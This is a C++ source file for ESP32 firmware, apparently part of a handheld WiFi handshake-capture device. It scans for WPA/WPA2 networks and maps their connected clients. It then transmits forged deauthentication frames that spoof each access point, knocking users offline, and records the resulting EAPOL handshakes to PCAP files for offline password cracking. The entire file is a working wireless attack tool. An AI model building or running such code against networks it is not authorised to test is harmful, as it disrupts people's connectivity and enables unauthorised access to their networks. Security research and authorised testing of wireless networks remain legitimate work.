cute-handshake-capture/handshake-capture-c6/HandshakeCapture.cpp

#include "HandshakeCapture.h"
#include "SD_Card.h"
#include "LVGL_Driver.h"
#include <algorithm>
#include <cstring>

// ─── Internal prototypes ───

static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
static void pcapInitSlot(CaptureSlot* slot);
static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len);
static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac);
static void sendDeauthBurstAll();
static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac);

// ─── Shared state ───

WifiNetwork networks[MAX_NETWORKS];
CaptureSlot slots[MAX_SLOTS];
volatile int pending_save_slots[MAX_SLOTS] = {-1, -1, -1};
bool is_capturing = false;
int current_channel = 0;
volatile int latest_eapol_count = 0;
CapturePhase capturePhase = PHASE_OBSERVING;

// ─── Phase timing ───

#define OBSERVE_DURATION_MS  5000
#define CAPTURE_TIMEOUT_MS   10000
#define DEAUTH_BURST_COUNT   5
#define DEAUTH_BURST_DELAY   2       // ms between frames in a burst
#define MAX_PHASE_RETRIES    2       // total observe→deauth→capture cycles

static unsigned long phase_timer = 0;
static uint8_t phase_retries = 0;

// Spinlock for data shared between promiscuous callback (WiFi task)
// and main loop. Critical sections are kept very short.
static portMUX_TYPE capture_mux = portMUX_INITIALIZER_UNLOCKED;

// ─── Captured BSSID cache (persists across channel hops) ───

#define CAPTURED_BSSID_CACHE_SIZE 32
static uint8_t captured_bssids[CAPTURED_BSSID_CACHE_SIZE][6];
static int captured_bssid_count = 0;

bool wasBssidCaptured(const uint8_t* bssid) {
  for (int i = 0; i < captured_bssid_count; i++) {
    if (memcmp(captured_bssids[i], bssid, 6) == 0) return true;
  }
  return false;
}

static void markBssidCaptured(const uint8_t* bssid) {
  if (wasBssidCaptured(bssid)) return;
  if (captured_bssid_count < CAPTURED_BSSID_CACHE_SIZE) {
    memcpy(captured_bssids[captured_bssid_count], bssid, 6);
    captured_bssid_count++;
  } else {
    memmove(captured_bssids[0], captured_bssids[1], (CAPTURED_BSSID_CACHE_SIZE - 1) * 6);
    memcpy(captured_bssids[CAPTURED_BSSID_CACHE_SIZE - 1], bssid, 6);
  }
}

// ─── Init ───

void handshakeCaptureInit() {
  WiFi.mode(WIFI_STA);
  WiFi.disconnect(false, true);
  delay(100);
  WiFi.mode(WIFI_AP_STA);
  esp_wifi_set_promiscuous(true);
  esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
  for (int i = 0; i < MAX_SLOTS; i++) {
    pending_save_slots[i] = -1;
  }
}

// ─── Pending save processing (main loop context — safe for SD I/O) ───

void handshakeCaptureProcessPending() {
  for (int i = 0; i < MAX_SLOTS; i++) {
    if (pending_save_slots[i] < 0) continue;
    pending_save_slots[i] = -1;

    CaptureSlot* s = &slots[i];
    if (!s->active || s->pcap_size == 0) continue;

    String filename = "/handshake_";
    filename += s->ssid;
    filename += "_";
    filename += String(millis() / 1000);
    filename += ".pcap";
    filename.replace(" ", "_");

    markBssidCaptured(s->bssid);
    if (s->network_index >= 0 && s->network_index < MAX_NETWORKS) {
      networks[s->network_index].handshake_captured = true;
      Ui_SetNetworkColor(s->network_index, lv_palette_main(LV_PALETTE_RED));
    }

    File file = SD.open(filename.c_str(), FILE_WRITE);
    if (file) {
      if (file.write(s->pcap_buffer, s->pcap_size) == s->pcap_size) {
        Serial.printf("Saved %s (%d bytes)\n", filename.c_str(), (int)s->pcap_size);
        Ui_SetWifiStatus("Saved PCAP!");
      } else {
        Serial.println("SD Write Failed!");
        Ui_SetWifiStatus("SD Write Err!");
      }
      file.close();
    } else {
      Serial.println("SD Open Failed!");
      Ui_SetWifiStatus("SD Open Err!");
    }

    s->pcap_size = 0;
    s->active = false;
  }
  refillSlots();
}

// ─── Slot management ───

static bool networkInAnySlot(int ni) {
  for (int i = 0; i < MAX_SLOTS; i++) {
    if (slots[i].active && slots[i].network_index == ni) return true;
  }
  return false;
}

void refillSlots() {
  if (!is_capturing || current_channel == 0) return;
  for (int si = 0; si < MAX_SLOTS; si++) {
    if (slots[si].active) continue;
    for (int ni = 0; ni < MAX_NETWORKS; ni++) {
      if (networks[ni].ssid.isEmpty()) break;
      if (networks[ni].handshake_captured || !isCaptureable(ni)) continue;
      if (networks[ni].ch != current_channel) continue;
      if (networkInAnySlot(ni)) continue;

      CaptureSlot* s = &slots[si];
      memcpy(s->bssid, networks[ni].bssid, 6);
      strncpy(s->ssid, networks[ni].ssid.c_str(), 32);
      s->ssid[32] = '\0';
      s->network_index = ni;
      s->beacon_captured = false;
      s->eapol_count = 0;
      s->client_count = 0;
      s->active = true;
      pcapInitSlot(s);
      break;
    }
  }
}

// ─── Network helpers ───

bool compareRSSI(const WifiNetwork& a, const WifiNetwork& b) {
  return a.rssi > b.rssi;
}

bool isCaptureable(int index) {
  if (index < 0 || index >= MAX_NETWORKS || networks[index].ssid.isEmpty()) return false;
  const String& enc = networks[index].encryption;
  return enc == "WPA" || enc == "WPA2" || enc == "WPA/WPA2";
}

int getCaptureableCount() {
  int n = 0;
  for (int i = 0; i < MAX_NETWORKS; i++) {
    if (networks[i].ssid.isEmpty()) break;
    if (!networks[i].handshake_captured && isCaptureable(i)) n++;
  }
  return n;
}

int getBestChannel() {
  int best_ch = 0;
  int best_count = 0;
  int ch_counts[15] = {0};

  for (int i = 0; i < MAX_NETWORKS; i++) {
    if (networks[i].ssid.isEmpty()) break;
    if (networks[i].handshake_captured || !isCaptureable(i)) continue;
    int ch = networks[i].ch;
    if (ch >= 1 && ch <= 14) {
      ch_counts[ch - 1]++;
      if (ch_counts[ch - 1] > best_count) {
        best_count = ch_counts[ch - 1];
        best_ch = ch;
      }
    }
  }
  return best_ch;
}

void scanNetworksSortedByRSSI() {
  memset(networks, 0, sizeof(networks));
  int n = WiFi.scanNetworks(false, false);
  if (n == 0) return;

  int stored = 0;
  for (int i = 0; i < n && stored < MAX_NETWORKS; i++) {
    String ssid = WiFi.SSID(i);
    if (ssid.isEmpty()) continue;

    networks[stored].ssid = ssid;
    memcpy(networks[stored].bssid, WiFi.BSSID(i), 6);
    networks[stored].ch = WiFi.channel(i);
    networks[stored].rssi = WiFi.RSSI(i);
    wifi_auth_mode_t enc = WiFi.encryptionType(i);
    if (enc == WIFI_AUTH_OPEN) networks[stored].encryption = "Open";
    else if (enc == WIFI_AUTH_WEP) networks[stored].encryption = "WEP";
    else if (enc == WIFI_AUTH_WPA_PSK) networks[stored].encryption = "WPA";
    else if (enc == WIFI_AUTH_WPA2_PSK) networks[stored].encryption = "WPA2";
    else if (enc == WIFI_AUTH_WPA_WPA2_PSK) networks[stored].encryption = "WPA/WPA2";
    else if (enc == WIFI_AUTH_WPA2_ENTERPRISE) networks[stored].encryption = "WPA2 Enterprise";
    else networks[stored].encryption = "Unknown";
    networks[stored].handshake_captured = wasBssidCaptured(networks[stored].bssid);

    stored++;
  }
  std::sort(networks, networks + stored, compareRSSI);
}

// ─── PCAP buffer (fixed-size, no dynamic alloc) ───

static void pcapInitSlot(CaptureSlot* slot) {
  slot->pcap_size = sizeof(pcap_global_header_t);
  pcap_global_header_t header = {
    .magic_number = 0xa1b2c3d4,
    .version_major = 2,
    .version_minor = 4,
    .thiszone = 0,
    .sigfigs = 0,
    .snaplen = 65535,
    .network = 105
  };
  memcpy(slot->pcap_buffer, &header, sizeof(header));
}

// Must be called inside capture_mux critical section.
static bool pcapAppendSlot(CaptureSlot* slot, const uint8_t* frame, size_t len) {
  if (!frame || len == 0) return false;
  size_t needed = sizeof(pcap_record_header_t) + len;
  if (slot->pcap_size + needed > PCAP_MAX_SIZE) return false;

  uint32_t ms = millis();
  pcap_record_header_t rec = {
    .ts_sec = ms / 1000,
    .ts_usec = (ms % 1000) * 1000,
    .incl_len = (uint32_t)len,
    .orig_len = (uint32_t)len
  };

  memcpy(slot->pcap_buffer + slot->pcap_size, &rec, sizeof(rec));
  memcpy(slot->pcap_buffer + slot->pcap_size + sizeof(rec), frame, len);
  slot->pcap_size += needed;
  return true;
}

// ─── Client tracking (called from callback under spinlock) ───

static bool addClientToSlot(CaptureSlot* slot, const uint8_t* mac) {
  if (mac[0] & 0x01) return false;                      // multicast/broadcast
  if (memcmp(mac, slot->bssid, 6) == 0) return false;   // the AP itself

  for (uint8_t i = 0; i < slot->client_count; i++) {
    if (memcmp(slot->clients[i].mac, mac, 6) == 0) {
      slot->clients[i].last_seen = millis();
      return false;
    }
  }

  if (slot->client_count >= MAX_CLIENTS_PER_SLOT) return false;

  memcpy(slot->clients[slot->client_count].mac, mac, 6);
  slot->clients[slot->client_count].last_seen = millis();
  slot->client_count++;
  return true;
}

// ─── Deauth: unicast burst to each discovered client ───

static void sendDeauthToClient(const uint8_t* bssid, const uint8_t* client_mac) {
  uint8_t deauth[26] = {
    0xC0, 0x00,                                     // Frame Control: Deauth
    0x00, 0x00,                                     // Duration
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             // DA: client
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             // SA: AP BSSID
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00,             // BSSID: AP
    0x00, 0x00,                                     // Seq Ctrl
    0x07, 0x00                                      // Reason: Class 3 from non-associated STA
  };

  memcpy(&deauth[4],  client_mac, 6);
  memcpy(&deauth[10], bssid,      6);
  memcpy(&deauth[16], bssid,      6);

  for (int i = 0; i < DEAUTH_BURST_COUNT; i++) {
    esp_wifi_80211_tx(WIFI_IF_STA, deauth, sizeof(deauth), false);
    if (i < DEAUTH_BURST_COUNT - 1) delay(DEAUTH_BURST_DELAY);
  }
}

static void sendDeauthBurstAll() {
  for (int i = 0; i < MAX_SLOTS; i++) {
    CaptureSlot* s = &slots[i];
    if (!s->active) continue;

    if (s->client_count > 0) {
      Serial.printf("[%s] deauth -> %d client(s)\n", s->ssid, s->client_count);
      for (uint8_t c = 0; c < s->client_count; c++) {
        sendDeauthToClient(s->bssid, s->clients[c].mac);
      }
    } else {
      Serial.printf("[%s] deauth -> broadcast (no clients mapped)\n", s->ssid);
      uint8_t bcast[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
      sendDeauthToClient(s->bssid, bcast);
    }
  }
}

// ─── Capture lifecycle ───

void startMultiCapture() {
  if (is_capturing) return;

  current_channel = getBestChannel();
  if (current_channel == 0) return;

  memset(slots, 0, sizeof(slots));
  int filled = 0;
  for (int i = 0; i < MAX_NETWORKS && filled < MAX_SLOTS; i++) {
    if (networks[i].ssid.isEmpty()) break;
    if (networks[i].handshake_captured || !isCaptureable(i)) continue;
    if (networks[i].ch != current_channel) continue;

    CaptureSlot* s = &slots[filled];
    memcpy(s->bssid, networks[i].bssid, 6);
    strncpy(s->ssid, networks[i].ssid.c_str(), 32);
    s->ssid[32] = '\0';
    s->network_index = i;
    s->beacon_captured = false;
    s->eapol_count = 0;
    s->client_count = 0;
    s->active = true;
    pcapInitSlot(s);
    filled++;
  }

  if (filled == 0) return;

  is_capturing = true;
  capturePhase = PHASE_OBSERVING;
  phase_timer = millis();
  phase_retries = 0;
  esp_wifi_set_channel(current_channel, WIFI_SECOND_CHAN_NONE);

  Serial.printf("Phase 2: observing ch %d (%d target(s))\n", current_channel, filled);
}

void stopCapture() {
  if (!is_capturing) return;
  is_capturing = false;
  for (int i = 0; i < MAX_SLOTS; i++) {
    if (slots[i].active) {
      if (slots[i].eapol_count >= 1) {
        pending_save_slots[i] = i;
      } else {
        slots[i].pcap_size = 0;
        slots[i].active = false;
      }
    }
  }
  handshakeCaptureProcessPending();
}

// ─── State machine tick (called from main loop) ───

void handshakeCaptureLoop() {
  if (!is_capturing) return;

  unsigned long now = millis();

  // Phase 2 → Phase 3 (transient burst) → Phase 4
  if (capturePhase == PHASE_OBSERVING) {
    if (now - phase_timer >= OBSERVE_DURATION_MS) {
      int total = 0;
      for (int i = 0; i < MAX_SLOTS; i++) {
        if (slots[i].active) {
          Serial.printf("  [%s] %d client(s)\n", slots[i].ssid, slots[i].client_count);
          total += slots[i].client_count;
        }
      }
      Serial.printf("Observation done: %d client(s). Sending deauth burst.\n", total);

      sendDeauthBurstAll();

      capturePhase = PHASE_CAPTURING;
      phase_timer = now;
      phase_retries++;
      Serial.println("Phase 4: capturing handshakes...");
    }
  }

  // Phase 4 timeout → re-observe or let .ino CHANNEL_TIMEOUT handle final stop
  if (capturePhase == PHASE_CAPTURING) {
    if (now - phase_timer >= CAPTURE_TIMEOUT_MS) {
      if (phase_retries < MAX_PHASE_RETRIES) {
        Serial.printf("Capture timeout. Re-observing (cycle %d/%d)...\n",
                      phase_retries + 1, MAX_PHASE_RETRIES);
        portENTER_CRITICAL(&capture_mux);
        for (int i = 0; i < MAX_SLOTS; i++) {
          if (slots[i].active) slots[i].client_count = 0;
        }
        portEXIT_CRITICAL(&capture_mux);

        capturePhase = PHASE_OBSERVING;
        phase_timer = now;
      }
    }
  }
}

// ─── Promiscuous RX callback ───
// Runs in WiFi task context (high priority). Must be fast.
// No Serial, no malloc/realloc, no file I/O.

static void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  (void)type;
  if (!is_capturing) return;

  wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
  const uint8_t* payload = pkt->payload;
  uint16_t len = pkt->rx_ctrl.sig_len;
  if (len < 24) return;

  uint8_t frame_type = payload[0];
  bool is_beacon = (frame_type == 0x80);
  bool is_qos    = (frame_type == 0x88);
  bool is_data   = (frame_type == 0x08) || is_qos;

  // Pre-compute EAPOL presence for data frames
  bool is_eapol = false;
  if (is_data) {
    bool to_ds   = (payload[1] & 0x01) != 0;
    bool from_ds = (payload[1] & 0x02) != 0;
    uint16_t mhl = 24;
    if (to_ds && from_ds) mhl += 6;   // WDS 4-addr
    if (is_qos) mhl += 2;             // QoS Control

    // EAPOL is always unencrypted — skip protected frames
    if (!(payload[1] & 0x40) && len >= mhl + 8) {
      // Verify LLC/SNAP header prefix (AA AA 03) before reading ethertype
      if (payload[mhl]     == 0xAA &&
          payload[mhl + 1] == 0xAA &&
          payload[mhl + 2] == 0x03) {
        is_eapol = (payload[mhl + 6] == 0x88 && payload[mhl + 7] == 0x8E);
      }
    }
  }

  portENTER_CRITICAL(&capture_mux);

  for (int i = 0; i < MAX_SLOTS; i++) {
    CaptureSlot* s = &slots[i];
    if (!s->active || pending_save_slots[i] >= 0) continue;

    // Beacon capture
    if (is_beacon && !s->beacon_captured && len >= 36 &&
        memcmp(&payload[10], s->bssid, 6) == 0) {
      s->beacon_captured = true;
      pcapAppendSlot(s, payload, len);
      continue;
    }

    if (!is_data) continue;

    // Check if this data frame involves this slot's BSSID
    bool match_addr1 = (memcmp(&payload[4],  s->bssid, 6) == 0);
    bool match_addr2 = (memcmp(&payload[10], s->bssid, 6) == 0);
    if (!match_addr1 && !match_addr2) continue;

    // Phase 2: map client MAC from all data frames (including encrypted)
    // FromDS: Addr1=DA(client), Addr2=BSSID  |  ToDS: Addr1=BSSID, Addr2=SA(client)
    if (capturePhase == PHASE_OBSERVING) {
      const uint8_t* client_mac = match_addr2 ? &payload[4] : &payload[10];
      addClientToSlot(s, client_mac);
    }

    // EAPOL capture (active during all phases)
    if (is_eapol) {
      s->eapol_count++;
      pcapAppendSlot(s, payload, len);
      latest_eapol_count = s->eapol_count;

      if (s->eapol_count >= 2) {
        pending_save_slots[i] = i;
      }
      break;
    }
  }

  portEXIT_CRITICAL(&capture_mux);
}